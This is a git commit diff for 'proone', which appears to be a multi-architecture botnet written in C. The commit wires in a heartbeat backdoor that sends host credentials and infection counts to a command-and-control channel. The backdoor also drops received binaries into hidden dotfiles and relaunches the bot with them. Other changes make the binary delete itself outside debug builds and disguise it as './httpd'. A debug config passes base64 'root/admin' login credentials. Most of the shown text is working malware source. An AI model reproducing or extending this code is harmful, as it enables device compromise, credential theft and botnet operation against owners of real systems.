aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-09-08 16:18:13 +0930
committerDavid Timber <mieabby@gmail.com>2020-09-08 16:18:13 +0930
commit550d2eec27a42254b26139208765022fffe7c775 (patch)
tree3842addbbded988183405d37b9cc9c451ba919d9
parent8eed8cde29960ace2ea1b2ceb61962be6f258364 (diff)
* Remove proone-unpack
* self test is done by proone-pack * Impl: htbt@proone * htbt: allocate large buffer first by deault * htbt: use 0600 for NY_BIN as the image is not an executable * pack: return error when z_stream is cut short * proone-pack: impl "nybin" file format
-rw-r--r--.vscode/launch.json2
-rwxr-xr-xscripts/build-all.sh30
-rwxr-xr-xscripts/test_bin-archive.sh63
-rw-r--r--src/Makefile.am5
-rw-r--r--src/data.h1
-rw-r--r--src/data/proto-test/nybin32
-rw-r--r--src/data/proto-test/nybin_head8
-rw-r--r--src/htbt.c12
-rw-r--r--src/htbt.h2
-rw-r--r--src/pack.c15
-rw-r--r--src/proone-htbthost.c12
-rw-r--r--src/proone-mkdvault.c1
-rw-r--r--src/proone-pack.c54
-rw-r--r--src/proone-unpack.c148
-rw-r--r--src/proone.c389
-rw-r--r--src/proone.h8
16 files changed, 423 insertions, 359 deletions
diff --git a/.vscode/launch.json b/.vscode/launch.json
index f0ca3fb..d0aa1f9 100644
--- a/.vscode/launch.json
+++ b/.vscode/launch.json
@@ -78,7 +78,7 @@
"type": "cppdbg",
"request": "launch",
"program": "${workspaceFolder}/src/proone",
- "args": [ "cXdlcnR5dWlvcFtdYXNkZmdoamtsOyd6eGN2Ym5tLC4vYDEyMzQ1Njc4OTAtPX4hQCMkJV4mKigpXyt8XA==" ],
+ "args": [ "cm9vdABhZG1pbgA=" ],
"stopAtEntry": false,
"cwd": "${workspaceFolder}",
"environment": [],
diff --git a/scripts/build-all.sh b/scripts/build-all.sh
index f3b0a51..146bdfb 100755
--- a/scripts/build-all.sh
+++ b/scripts/build-all.sh
@@ -55,7 +55,6 @@ PROONE_BINARCH_PREFIX="$PROONE_BINARCH_DIR/binarch"
PROONE_DVAULT="$PROONE_PREFIX/dvault.bin"
PROONE_TOOLS="
proone-pack
- proone-unpack
proone-list-arch
proone-mkdvault
proone-ipaddr-arr
@@ -69,7 +68,7 @@ make distclean
set -e
# native build for tools
-./configure $PROONE_AM_CONF
+./configure $PROONE_AM_CONF
cd src
make -j$(nproc) $PROONE_TOOLS
cd ..
@@ -89,29 +88,4 @@ for (( i = 0; i < ARR_SIZE; i += 1 )); do
done
# pack
-for (( i = 0; i < ARR_SIZE; i += 1 )); do
- this_arch="${ARCH_ARR[$i]}"
- other_archs=""
- rel="$PROONE_REL_PREFIX.$this_arch"
- binarch="$PROONE_BINARCH_PREFIX.$this_arch"
-
- for (( j = 0; j < ARR_SIZE; j += 1 )); do
- if [ $i -eq $j ]; then
- continue
- fi
- other_archs="$other_archs $PROONE_EXEC_PREFIX.${ARCH_ARR[$j]}"
- done
-
- "$PROONE_TOOLS_DIR/proone-pack" $other_archs > "$binarch"
- binarch_size="$(stat -c "%s" "$binarch")"
-
- cp -a "$PROONE_EXEC_PREFIX.$this_arch" "$rel"
- # TODO: parameterise BIN_ALIGNMENT?
- ./src/build-utils.sh align-file 8 "$rel"
- ./src/build-utils.sh append-uint16 $DVAULT_SIZE "$rel"
- ./src/build-utils.sh append-uint16 0 "$rel"
- ./src/build-utils.sh append-uint32 $binarch_size "$rel"
- cat "$PROONE_DVAULT" >> "$rel"
- ./src/build-utils.sh align-file 8 "$rel"
- cat "$binarch" >> "$rel"
-done
+"$PROONE_TOOLS_DIR/proone-pack" "$PROONE_REL_PREFIX" "$PROONE_DVAULT" "$PROONE_EXEC_PREFIX".*
diff --git a/scripts/test_bin-archive.sh b/scripts/test_bin-archive.sh
deleted file mode 100755
index bbf56c1..0000000
--- a/scripts/test_bin-archive.sh
+++ /dev/null
@@ -1,63 +0,0 @@
-#!/bin/bash
-RND_BLOCK_SIZE=4096
-if [ -z "$RND_BIN_CNT_MIN" ]; then
- RND_BIN_CNT_MIN=1
-fi
-if [ -z "$RND_BIN_CNT_MAX" ]; then
- RND_BIN_CNT_MAX=20
-fi
-TEST_DIR="pack_test"
-BIN_PACK_DIR="$TEST_DIR/pack"
-BIN_UNPACK_DIR="$TEST_DIR/unpack"
-BIN_PREFIX="bin"
-BIN_ARCHIVE_PREFIX="bin_archive"
-SIZE_LOG="pack_test-size.log"
-if [ -z "$LISTARCH" ]; then
- LISTARCH="../src/proone-list-arch"
-fi
-if [ -z "$PACKER" ]; then
- PACKER="../src/proone-pack"
-fi
-if [ -z "$UNPACKER" ]; then
- UNPACKER="../src/proone-unpack"
-fi
-ARCH_ARR=(`"$LISTARCH"`)
-
-if [ -d "$TEST_DIR" ]; then
- rm -rf "$TEST_DIR/"*
-else
- mkdir "$TEST_DIR"
-fi
-mkdir "$BIN_PACK_DIR" "$BIN_UNPACK_DIR"
-if [ $? -ne 0 ]; then
- exit 2
-fi
-
-for arch in ${ARCH_ARR[@]}; do
- bin_block_cnt="$(shuf -n1 -i $RND_BIN_CNT_MIN-$RND_BIN_CNT_MAX)" &&\
- dd if=/dev/random of="$BIN_PACK_DIR/$BIN_PREFIX.$arch" iflag=fullblock bs=$RND_BLOCK_SIZE count=$bin_block_cnt
- if [ $? -ne 0 ]; then
- exit 2
- fi
-done
-
-"$PACKER" "$BIN_PACK_DIR/$BIN_PREFIX."* | base64 > "$TEST_DIR/$BIN_ARCHIVE_PREFIX"
-if [ $? -ne 0 ]; then
- exit 2;
-fi
-
-"$UNPACKER" "$BIN_UNPACK_DIR/$BIN_PREFIX" < "$TEST_DIR/$BIN_ARCHIVE_PREFIX"
-if [ $? -ne 0 ]; then
- exit 2;
-fi
-
-for arch in ${ARCH_ARR[@]}; do
- diff -q "$BIN_PACK_DIR/$BIN_PREFIX.$arch" "$BIN_UNPACK_DIR/$BIN_PREFIX.$arch"
- if [ $? -ne 0 ]; then
- exit 2;
- fi
-done
-
-echo $(du -bs "$BIN_PACK_DIR" | awk '{print $1;}') $(wc -c "$TEST_DIR/$BIN_ARCHIVE_PREFIX" | awk '{print $1;}') >> "$SIZE_LOG"
-
-exit 0
diff --git a/src/Makefile.am b/src/Makefile.am
index b695333..e138e87 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
@@ -17,7 +17,6 @@ bin_PROGRAMS =\
proone.bin\
proone-mkdvault\
proone-pack\
- proone-unpack\
proone-list-arch\
proone-resolv\
proone-stress\
@@ -67,10 +66,6 @@ proone_mkdvault_SOURCES = proone-mkdvault.c
proone_pack_LDADD = libproone.a
proone_pack_SOURCES = proone-pack.c
-proone_unpack_LDADD = libproone.a
-proone_unpack_LDFLAGS =
-proone_unpack_SOURCES = proone-unpack.c
-
proone_list_arch_LDADD = libproone.a
proone_list_arch_SOURCES = proone-list-arch.c
diff --git a/src/data.h b/src/data.h
index cff783b..f2b6d92 100644
--- a/src/data.h
+++ b/src/data.h
@@ -16,6 +16,7 @@ typedef enum {
PRNE_DATA_KEY_RESOLV_NS_IPV4,
PRNE_DATA_KEY_RESOLV_NS_IPV6,
PRNE_DATA_KEY_CNC_TXT_REC,
+ PRNE_DATA_KEY_EXEC_NAME,
NB_PRNE_DATA_KEY
} prne_data_key_t;
diff --git a/src/data/proto-test/nybin b/src/data/proto-test/nybin
deleted file mode 100644
index 3008d31..0000000
--- a/src/data/proto-test/nybin
+++ /dev/null
@@ -1,32 +0,0 @@
-# msg id 8A06, init
-8A06
-# PRNE_HTBT_OP_NY_BIN
-06
- # bin_len = 121
- 000079
- # detach = 0, args_len = 20
- 0014
- # "It"
- 49 74 00
- # "worked, "
- 77 6f 72 6b 65 64 2c 20 00
- # "Marty!!"
- 4d 61 72 74 79 21 21 00
- # #!/bin/bash
- # set -e
- #
- # echo "hello world!"
- #
- # i=1
- # while [ $# -gt 0 ]; do
- # echo "arg $i: $1"
- # let "i+=1"
- # shift 1
- # done
- #
- # exit 0
- 23212f62696e2f626173680a736574202d650a0a6563686f202268656c6c
- 6f20776f726c6421220a0a693d310a7768696c65205b202423202d677420
- 30205d3b20646f0a096563686f20226172672024693a202431220a096c65
- 742022692b3d31220a09736869667420310a646f6e650a0a657869742030
- 0a
diff --git a/src/data/proto-test/nybin_head b/src/data/proto-test/nybin_head
new file mode 100644
index 0000000..79cd1b7
--- /dev/null
+++ b/src/data/proto-test/nybin_head
@@ -0,0 +1,8 @@
+# msg id 8A06, init
+8A06
+# PRNE_HTBT_OP_NY_BIN
+06
+ # bin_len =
+ 000000
+ # detach = 0, args_len = 0
+ 0000
diff --git a/src/htbt.c b/src/htbt.c
index 428688c..20fbe0f 100644
--- a/src/htbt.c
+++ b/src/htbt.c
@@ -730,18 +730,15 @@ static void htbt_free_slv_ctx (htbt_slv_ctx_t *ctx) {
static bool htbt_alloc_slv_iobuf (htbt_slv_ctx_t *ctx) {
bool alloc;
-#if 0 // TODO: switch on after testing
- const size_t PAGESIZE = prne_getpagesize();
alloc = prne_alloc_iobuf(
ctx->iobuf + 0,
- PAGESIZE);
+ 2048);
alloc &= prne_alloc_iobuf(
ctx->iobuf + 1,
- PAGESIZE);
+ 2048);
if (alloc) {
return true;
}
-#endif
alloc = prne_alloc_iobuf(
ctx->iobuf + 0,
@@ -1074,7 +1071,9 @@ static bool htbt_slv_srv_bin (
}
errno = 0;
- path = ctx->cbset->tmpfile(bin_meta.bin_size, 0700);
+ path = ctx->cbset->tmpfile(
+ bin_meta.bin_size,
+ mh->op == PRNE_HTBT_OP_RUN_BIN ? 0700 : 0600);
if (path == NULL) {
ret_status = PRNE_HTBT_STATUS_ERRNO;
ret_errno = errno;
@@ -2447,7 +2446,6 @@ prne_htbt_t *prne_alloc_htbt (
if (w == NULL ||
param.cb_f.cnc_txtrec == NULL ||
param.lbd_ssl_conf == NULL ||
- param.cncp_ssl_conf == NULL ||
param.main_ssl_conf == NULL ||
param.ctr_drbg == NULL ||
param.blackhole < 0)
diff --git a/src/htbt.h b/src/htbt.h
index 698e63f..6db9cba 100644
--- a/src/htbt.h
+++ b/src/htbt.h
@@ -13,7 +13,6 @@ typedef struct prne_htbt_cbset prne_htbt_cbset_t;
typedef bool(*prne_htbt_cnc_txtrec_ft)(char *out);
typedef bool(*prne_htbt_hostinfo_ft)(prne_htbt_host_info_t *out);
typedef char*(*prne_htbt_tmpfile_ft)(size_t req_size, const mode_t mode);
-typedef bool(*prne_htbt_cmd_ft)(const prne_htbt_cmd_t *cmd);
typedef bool(*prne_htbt_bin_ft)(const char *path, const prne_htbt_cmd_t *cmd);
struct prne_htbt_cbset {
@@ -25,7 +24,6 @@ struct prne_htbt_cbset {
struct prne_htbt_param {
mbedtls_ssl_config *lbd_ssl_conf;
- mbedtls_ssl_config *cncp_ssl_conf;
mbedtls_ssl_config *main_ssl_conf;
mbedtls_ctr_drbg_context *ctr_drbg;
prne_resolv_t *resolv;
diff --git a/src/pack.c b/src/pack.c
index e842caa..10d9a54 100644
--- a/src/pack.c
+++ b/src/pack.c
@@ -205,6 +205,14 @@ static ssize_t pack_rcb_rpread_f (
}
ctx->z_ny.next_in = ctx->buf;
ctx->z_ny.avail_in = consume;
+
+ if (consume == 0 && d_flush != Z_FINISH) {
+ // short compressed data
+ // this means that bin arch is incomplete
+ consume = -1;
+ prc = PRNE_PACK_RC_FMT_ERR;
+ goto END;
+ }
}
ctx->z_ny.avail_out = len;
@@ -213,7 +221,6 @@ static ssize_t pack_rcb_rpread_f (
switch (err) {
case Z_STREAM_END:
ctx_p->read_f = pack_rcb_nullread_f;
- prc = PRNE_PACK_RC_EOF;
/* fall-through */
case Z_BUF_ERROR:
case Z_OK:
@@ -472,8 +479,10 @@ prne_pack_rc_t prne_start_bin_rcb (
ny_ctx->z_old.avail_in = ba->data_size;
ny_ctx->z_old.next_in = (uint8_t*)ba->data;
- ny_ctx->z_ny.avail_in = exec_len;
- ny_ctx->z_ny.next_in = (uint8_t*)m_self;
+ if (self != PRNE_ARCH_NONE) {
+ ny_ctx->z_ny.avail_in = exec_len;
+ ny_ctx->z_ny.next_in = (uint8_t*)m_self;
+ }
ny_ctx->a_self = self;
prne_free_bin_rcb_ctx(ctx);
diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c
index dbc53d6..a407253 100644
--- a/src/proone-htbthost.c
+++ b/src/proone-htbthost.c
@@ -340,9 +340,6 @@ int main (const int argc, const char **args) {
mbedtls_pk_context key;
mbedtls_ssl_config conf;
} c;
- struct {
- mbedtls_ssl_config conf;
- } cncp;
} ssl;
sigemptyset(&ss_all);
@@ -420,7 +417,6 @@ int main (const int argc, const char **args) {
mbedtls_dhm_init(&ssl.s.dhm);
mbedtls_ssl_config_init(&ssl.s.conf);
mbedtls_ssl_config_init(&ssl.c.conf);
- mbedtls_ssl_config_init(&ssl.cncp.conf);
load_ssl_conf(
&ssl.ca,
&ssl.s.conf,
@@ -431,12 +427,6 @@ int main (const int argc, const char **args) {
&ssl.c.crt,
&ssl.c.key,
&rnd);
- prne_assert(mbedtls_ssl_config_defaults(
- &ssl.cncp.conf,
- MBEDTLS_SSL_IS_CLIENT,
- MBEDTLS_SSL_TRANSPORT_STREAM,
- MBEDTLS_SSL_PRESET_DEFAULT) == 0);
- mbedtls_ssl_conf_rng(&ssl.cncp.conf, mbedtls_ctr_drbg_random, &rnd);
mbedtls_ssl_conf_dbg(&ssl.s.conf, mbedtls_dbg_f, NULL);
mbedtls_ssl_conf_dbg(&ssl.c.conf, mbedtls_dbg_f, NULL);
@@ -469,7 +459,6 @@ int main (const int argc, const char **args) {
prne_htbt_init_param(&param);
param.lbd_ssl_conf = &ssl.s.conf;
param.main_ssl_conf = &ssl.c.conf;
- param.cncp_ssl_conf = &ssl.cncp.conf;
param.ctr_drbg = &rnd;
param.resolv = resolv;
param.cb_f.cnc_txtrec = cb_txtrec;
@@ -514,7 +503,6 @@ int main (const int argc, const char **args) {
mbedtls_dhm_free(&ssl.s.dhm);
mbedtls_ssl_config_free(&ssl.s.conf);
mbedtls_ssl_config_free(&ssl.c.conf);
- mbedtls_ssl_config_free(&ssl.cncp.conf);
mbedtls_ctr_drbg_free(&rnd);
mbedtls_entropy_free(&entropy);
free_htbthost_param(&htbthost_param);
diff --git a/src/proone-mkdvault.c b/src/proone-mkdvault.c
index 6d423a9..e08adc8 100644
--- a/src/proone-mkdvault.c
+++ b/src/proone-mkdvault.c
@@ -150,6 +150,7 @@ int main (void) {
add_bin(PRNE_DATA_KEY_RESOLV_NS_IPV4, PRNE_RESOLV_NS_POOL_IPV4);
add_bin(PRNE_DATA_KEY_RESOLV_NS_IPV6, PRNE_RESOLV_NS_POOL_IPV6);
add_cstr(PRNE_DATA_KEY_CNC_TXT_REC, PRNE_CNC_TXT_REC);
+ add_cstr(PRNE_DATA_KEY_EXEC_NAME, "./httpd");
pos += NB_PRNE_DATA_KEY * sizeof(uint16_t);
diff --git a/src/proone-pack.c b/src/proone-pack.c
index 555dbf4..8971411 100644
--- a/src/proone-pack.c
+++ b/src/proone-pack.c
@@ -123,14 +123,14 @@ static void do_test (
size_t out_size = 0, out_len;
uint8_t *m_out = NULL;
- if (depth > TEST_DEPTH) {
- return;
- }
-
prne_assert(ofs_ba < len);
prne_assert(memcmp(m, t->m_exec, t->st.st_size) == 0);
prne_assert(memcmp(m + ofs_dv, m_dv, dv_len) == 0);
+ if (depth > TEST_DEPTH) {
+ return;
+ }
+
prne_init_bin_archive(&ba);
prne_init_bin_rcb_ctx(&ctx);
prne_assert(prne_index_bin_archive(
@@ -170,6 +170,46 @@ static void do_test (
prne_free(m_out);
}
+static bool do_nybin (const char *path, int *fd) {
+ uint8_t head[8];
+ const size_t align =
+ sizeof(head) +
+ prne_salign_next(dv_len, PRNE_BIN_ALIGNMENT);
+
+ prne_memzero(head, sizeof(head));
+ head[0] = prne_getmsb16(dv_len, 0);
+ head[1] = prne_getmsb16(dv_len, 1);
+ head[2] = 'n';
+ head[3] = 'y';
+ head[4] = 'b';
+ head[5] = 'i';
+ head[6] = 'n';
+ head[7] = 0;
+
+ *fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0755);
+ if (*fd < 0) {
+ return false;
+ }
+
+ if (ftruncate(*fd, align) != 0) {
+ return false;
+ }
+ if (write(*fd, head, sizeof(head)) != (ssize_t)sizeof(head)) {
+ return false;
+ }
+ if (write(*fd, m_dv, dv_len) != (ssize_t)dv_len) {
+ return false;
+ }
+ if (lseek(*fd, align, SEEK_SET) < 0) {
+ return false;
+ }
+ if (write(*fd, m_ba, ba_len) != (ssize_t)ba_len) {
+ return false;
+ }
+
+ return true;
+}
+
static bool do_rcb (const char *prefix) {
prne_pack_rc_t prc;
bool ret = true;
@@ -193,9 +233,7 @@ static bool do_rcb (const char *prefix) {
prc = prne_index_bin_archive(m_ba, ba_len, &ba);
prne_assert(prc == PRNE_PACK_RC_OK);
- // TODO: dvault + nybin
- fd = open(out_path, O_WRONLY | O_CREAT | O_TRUNC, 0755);
- if (fd < 0 || write(fd, m_ba, ba_len) != (ssize_t)ba_len) {
+ if (!do_nybin(out_path, &fd)) {
perror(out_path);
ret = false;
goto END;
@@ -262,7 +300,7 @@ int main (const int argc, const char **args) {
z_stream zs;
size_t out_len;
- PAGESIZE = prne_getpagesize(); // TODO: test
+ PAGESIZE = prne_getpagesize();
prne_memzero(&zs, sizeof(z_stream));
if ((z_ret = deflateInit(&zs, PRNE_PACK_Z_LEVEL)) != Z_OK) {
diff --git a/src/proone-unpack.c b/src/proone-unpack.c
deleted file mode 100644
index d7787a8..0000000
--- a/src/proone-unpack.c
+++ /dev/null
@@ -1,148 +0,0 @@
-#include <stdio.h>
-#include <stdint.h>
-#include <stdbool.h>
-#include <string.h>
-
-#include <unistd.h>
-#include <fcntl.h>
-#include <sys/mman.h>
-
-#include "pack.h"
-#include "util_rt.h"
-
-#define USE_MMAP 1
-
-
-static void report_pack_ret (const prne_pack_ret_t pr) {
- char *str = prne_pack_ret_tostr(pr);
-
- fprintf(stderr, "%s\n", str);
- prne_free(str);
-}
-
-
-int main (const int argc, const char **args) {
- int exit_code = 0;
- const char *path_prefix;
- size_t path_prefix_len;
- prne_stdin_base64_rf_ctx_t rf_ctx;
- prne_bin_archive_t bin_archive;
- prne_pack_ret_t pr;
- size_t i;
- const char *arch_str;
- char *path = NULL;
- size_t path_size;
- void *ny_buf;
- int fd = -1;
- prne_unpack_ctx_pt unpack_ctx = NULL;
-#if USE_MMAP
- void *addr = NULL;
-#else
- uint8_t write_buf[512];
- ssize_t write_len;
-#endif
-
- if (argc <= 1) {
- fprintf(stderr, "Usage: %s <prefix>\n", args[0]);
- return 2;
- }
-
- path_prefix = args[1];
- path_prefix_len = strlen(path_prefix);
- prne_init_bin_archive(&bin_archive);
- prne_init_stdin_base64_rf_ctx(&rf_ctx);
-
- pr = prne_index_bin_archive(&rf_ctx, prne_stdin_base64_rf, &bin_archive);
- if (pr.rc != PRNE_PACK_RC_OK) {
- report_pack_ret(pr);
- exit_code = 1;
- goto END;
- }
-
- for (i = 0; i < bin_archive.nb_bin; i += 1) {
- arch_str = prne_arch_tostr(bin_archive.bin[i].arch);
- if (arch_str == NULL) {
- fprintf(stderr, "** unrecognised arch!");
- exit_code = 1;
- goto END;
- }
-
- unpack_ctx = prne_alloc_unpack_ctx(&bin_archive, bin_archive.bin[i].arch, &pr);
- if (unpack_ctx == NULL) {
- report_pack_ret(pr);
- exit_code = 1;
- goto END;
- }
-
- path_size = 2 + path_prefix_len + strlen(arch_str);
- ny_buf = prne_realloc(path, 1, path_size);
- if (ny_buf == NULL) {
- perror("prne_realloc()");
- exit_code = 1;
- goto END;
- }
- path = (char*)ny_buf;
- if (sprintf(path, "%s.%s", path_prefix, arch_str) < 0) {
- perror("sprintf()");
- exit_code = 1;
- goto END;
- }
-
- fd = open(path, O_CREAT | O_RDWR | O_TRUNC, 0666);
- if (fd < 0) {
- perror("open()");
- exit_code = 1;
- goto END;
- }
-#if USE_MMAP
- if (ftruncate(fd, bin_archive.bin[i].size) != 0) {
- perror("ftruncate()");
- exit_code = 1;
- goto END;
- }
- addr = mmap(NULL, bin_archive.bin[i].size, PROT_WRITE, MAP_SHARED, fd, 0);
- if (addr == MAP_FAILED) {
- perror("mmap()");
- exit_code = 1;
- goto END;
- }
-
- if (prne_do_unpack(unpack_ctx, (uint8_t*)addr, bin_archive.bin[i].size, &pr) != (ssize_t)bin_archive.bin[i].size) {
- report_pack_ret(pr);
- exit_code = 1;
- goto END;
- }
-
- munmap(addr, bin_archive.bin[i].size);
- addr = NULL;
-#else
- do {
- write_len = prne_do_unpack(unpack_ctx, write_buf, sizeof(write_buf), &pr);
- if (write_len < 0) {
- report_pack_ret(pr);
- exit_code = 1;
- goto END;
- }
- write(fd, write_buf, (size_t)write_len);
- } while (write_len != 0);
-#endif
- prne_free_unpack_ctx(unpack_ctx);
- unpack_ctx = NULL;
- prne_close(fd);
- fd = -1;
- }
-
-END:
-#if USE_MMAP
- if (addr != NULL) {
- munmap(addr, bin_archive.bin[i].size);
- }
-#endif
- prne_free_unpack_ctx(unpack_ctx);
- prne_free(path);
- prne_close(fd);
- prne_free_bin_archive(&bin_archive);
- prne_free_stdin_base64_rf_ctx(&rf_ctx);
-
- return exit_code;
-}
diff --git a/src/proone.c b/src/proone.c
index c39a60b..5e40796 100644
--- a/src/proone.c
+++ b/src/proone.c
@@ -23,6 +23,7 @@
#include "proone.h"
#include "protocol.h"
#include "util_rt.h"
+#include "endian.h"
#include "dvault.h"
#include "llist.h"
#include "mbedtls.h"
@@ -33,10 +34,9 @@ struct prne_shared_global *prne_s_g = NULL;
sigset_t ss_exit, ss_all;
-static prne_worker_t wkr_arr[2];
+static prne_worker_t wkr_arr[3];
static size_t wkr_cnt;
-
static void alloc_resolv (void) {
prne_resolv_ns_pool_t pool4, pool6;
size_t i, len, cnt;
@@ -87,8 +87,137 @@ END:
prne_resolv_free_ns_pool(&pool6);
}
+static bool cb_htbt_cnc_txtrec (char *out) {
+ strcpy(out, prne_dvault_get_cstr(PRNE_DATA_KEY_CNC_TXT_REC, NULL));
+ prne_dvault_reset();
+ return true;
+}
+
+static bool cb_htbt_hostinfo (prne_htbt_host_info_t *out) {
+ const struct timespec ts_now = prne_gettime(CLOCK_MONOTONIC);
+
+ out->parent_uptime = prne_sub_timespec(ts_now, prne_g.parent_start).tv_sec;
+ out->child_uptime = prne_sub_timespec(ts_now, prne_g.child_start).tv_sec;
+ if (prne_s_g != NULL) {
+ out->bne_cnt = prne_s_g->bne_cnt;
+ out->infect_cnt = prne_s_g->infect_cnt;
+ if (prne_htbt_alloc_host_info(out, prne_s_g->host_cred_len)) {
+ memcpy(
+ out->host_cred,
+ prne_s_g->host_cred_data,
+ prne_s_g->host_cred_len);
+ }
+ out->crash_cnt = prne_s_g->crash_cnt;
+ }
+ out->parent_pid = prne_g.parent_pid;
+ out->child_pid = prne_g.child_pid;
+ memcpy(
+ out->prog_ver,
+ prne_dvault_get_bin(PRNE_DATA_KEY_PROG_VER, NULL),
+ prne_op_min(sizeof(out->prog_ver), 16));
+ prne_dvault_reset();
+ memcpy(
+ out->boot_id,
+ prne_g.boot_id,
+ prne_op_min(sizeof(out->boot_id), sizeof(prne_g.boot_id)));
+ memcpy(
+ out->instance_id,
+ prne_g.instance_id,
+ prne_op_min(sizeof(out->instance_id), sizeof(prne_g.instance_id)));
+ out->arch = prne_host_arch;
+
+ return true;
+}
+
+static char *cb_htbt_tmpfile (size_t req_size, const mode_t mode) {
+ uint8_t m[16];
+ char *path = prne_alloc_str(36 + 3), *ret = NULL;
+ int fd = -1;
+
+ path[0] = 0;
+ do {
+ if (path == NULL) {
+ break;
+ }
+ if (mbedtls_ctr_drbg_random(&prne_g.ssl.rnd, m, sizeof(m)) != 0) {
+ break;
+ }
+ path[0] = '.';
+ path[1] = '/';
+ path[2] = '.';
+ prne_uuid_tostr(m, path + 3);
+ path[39] = 0;
+
+ fd = open(path, O_RDWR | O_CREAT | O_TRUNC, mode);
+ if (fd < 0) {
+ break;
+ }
+ chmod(path, mode);
+ if (ftruncate(fd, req_size) != 0) {
+ break;
+ }
+
+ ret = path;
+ path = NULL;
+ } while (false);
+
+ if (path != NULL) {
+ if (fd >= 0) {
+ unlink(path);
+ }
+ prne_free(path);
+ }
+ prne_close(fd);
+ return ret;
+}
+
+static bool cb_htbt_nybin (const char *path, const prne_htbt_cmd_t *cmd) {
+ const size_t strsize = prne_nstrlen(path) + 1;
+
+ if (prne_s_g == NULL ||
+ strsize > sizeof(prne_s_g->ny_bin_path) ||
+ cmd->mem_len > sizeof(prne_s_g->ny_bin_args))
+ {
+ errno = ENOMEM;
+ return false;
+ }
+ memcpy(prne_s_g->ny_bin_path, path, strsize);
+ memcpy(prne_s_g->ny_bin_args, cmd->mem, cmd->mem_len);
+
+ pth_raise(prne_g.main_pth, SIGTERM);
+
+ return true;
+}
+
+
static void alloc_htbt (void) {
- // TODO
+ prne_htbt_param_t param;
+
+ prne_htbt_init_param(&param);
+
+ if (!(prne_g.c_ssl.ready && prne_g.s_ssl.ready)) {
+ goto END;
+ }
+
+ param.lbd_ssl_conf = &prne_g.s_ssl.conf;
+ param.main_ssl_conf = &prne_g.c_ssl.conf;
+ param.ctr_drbg = &prne_g.ssl.rnd;
+ param.resolv = prne_g.resolv;
+ param.cb_f.cnc_txtrec = cb_htbt_cnc_txtrec;
+ param.cb_f.hostinfo = cb_htbt_hostinfo;
+ param.cb_f.tmpfile = cb_htbt_tmpfile;
+ param.cb_f.ny_bin = cb_htbt_nybin;
+ param.blackhole = prne_g.blackhole[1];
+
+ prne_g.htbt = prne_alloc_htbt(
+ wkr_arr + wkr_cnt,
+ param);
+ if (prne_g.htbt != NULL) {
+ wkr_cnt += 1;
+ }
+
+END:
+ prne_htbt_free_param(&param);
}
static void alloc_workers (void) {
@@ -104,6 +233,7 @@ static void free_workers (void) {
prne_free_worker(wkr_arr + i);
}
prne_g.resolv = NULL;
+ prne_g.htbt = NULL;
}
static void seed_ssl_rnd (const bool use_bent) {
@@ -152,15 +282,12 @@ static int proone_main (void) {
prne_assert(wkr_arr[i].pth != NULL);
}
- do {
+ while (true) {
prne_assert(pth_sigwait(&ss_all, &caught_sig) == 0);
- switch (caught_sig) {
- case SIGCHLD: // Not my child
- case SIGINT: // Probably Ctrl + C. Wait for the parent to send SIGTERM.
- case SIGPIPE:
- continue;
+ if (sigismember(&ss_exit, caught_sig) && caught_sig != SIGINT) {
+ break;
}
- } while (false);
+ }
sigprocmask(SIG_UNBLOCK, &ss_exit, NULL);
for (size_t i = 0; i < wkr_cnt; i += 1) {
@@ -178,8 +305,35 @@ static int proone_main (void) {
return 0;
}
+static void close_blackhole (void) {
+ prne_close(prne_g.blackhole[0]);
+ prne_close(prne_g.blackhole[1]);
+ prne_g.blackhole[0] = -1;
+ prne_g.blackhole[1] = -1;
+}
+
+static void open_blackhole (void) {
+ close_blackhole();
+
+ do {
+ // try null device
+ prne_g.blackhole[1] = open("/dev/null", O_WRONLY);
+ if (prne_g.blackhole[1] >= 0) {
+ fcntl(prne_g.blackhole[1], F_SETFD, FD_CLOEXEC);
+ break;
+ }
+
+ // try pipe
+ if (pipe(prne_g.blackhole) == 0) {
+ prne_sck_fcntl(prne_g.blackhole[0]);
+ prne_sck_fcntl(prne_g.blackhole[1]);
+ break;
+ }
+ } while (false);
+}
+
static void delete_myself (const char *arg0) {
-#if defined(PRNE_DEBUG)
+#if !defined(PRNE_DEBUG)
unlink(arg0);
#endif
}
@@ -274,7 +428,7 @@ static void init_proone (const char *self) {
(uint_fast16_t)prne_g.m_exec[prne_g.exec_size + 0] << 8 |
(uint_fast16_t)prne_g.m_exec[prne_g.exec_size + 1] << 0;
- dvault_ofs = prne_salign_next(prne_g.exec_size, PRNE_BIN_ALIGNMENT) + 8;
+ dvault_ofs = prne_g.exec_size + 8;
binarch_ofs = dvault_ofs + prne_salign_next(
prne_g.dvault_size,
PRNE_BIN_ALIGNMENT);
@@ -286,12 +440,12 @@ static void init_proone (const char *self) {
setup_dvault();
if (binarch_size > 0) {
- prne_g.bin_ready = prne_index_bin_archive(
+ prne_index_bin_archive(
prne_g.m_exec + binarch_ofs,
binarch_size,
- &prne_g.bin_archive) == PRNE_PACK_RC_OK;
+ &prne_g.bin_archive);
}
- if (!prne_g.bin_ready) {
+ if (prne_g.bin_archive.nb_bin == 0) {
prne_dbgpf("* This executable has no binary archive!\n");
}
#undef ELF_EHDR_TYPE
@@ -618,6 +772,7 @@ static bool init_shared_global (void) {
prne_dbgperr("* Failed to initialise shared global");
}
else {
+ // Session init code goes here
prne_s_g->ny_bin_path[0] = 0;
}
@@ -641,15 +796,11 @@ static void init_ids (void) {
char line[37];
int fd = -1;
- if (mbedtls_ctr_drbg_random(
+ mbedtls_ctr_drbg_random(
&prne_g.ssl.rnd,
prne_g.instance_id,
- sizeof(prne_g.instance_id)) != 0)
- {
- prne_memzero(prne_g.instance_id, sizeof(prne_g.instance_id));
- }
+ sizeof(prne_g.instance_id));
- prne_memzero(prne_g.boot_id, 16);
do { // fake loop
fd = open("/proc/sys/kernel/random/boot_id", O_RDONLY);
if (fd < 0) {
@@ -673,7 +824,6 @@ static void set_host_credential (const char *str) {
return;
}
- // TODO: test
mbedtls_base64_decode(
prne_s_g->host_cred_data,
sizeof(prne_s_g->host_cred_data),
@@ -682,7 +832,94 @@ static void set_host_credential (const char *str) {
strlen(str));
}
-static void run_ny_bin (void) {
+static char *do_recombination (const uint8_t *m_nybin, const size_t nybin_len) {
+ uint8_t buf[4096];
+ char *exec = NULL, *ret = NULL;
+ const char *path;
+ prne_bin_archive_t ba;
+ prne_bin_rcb_ctx_t rcb;
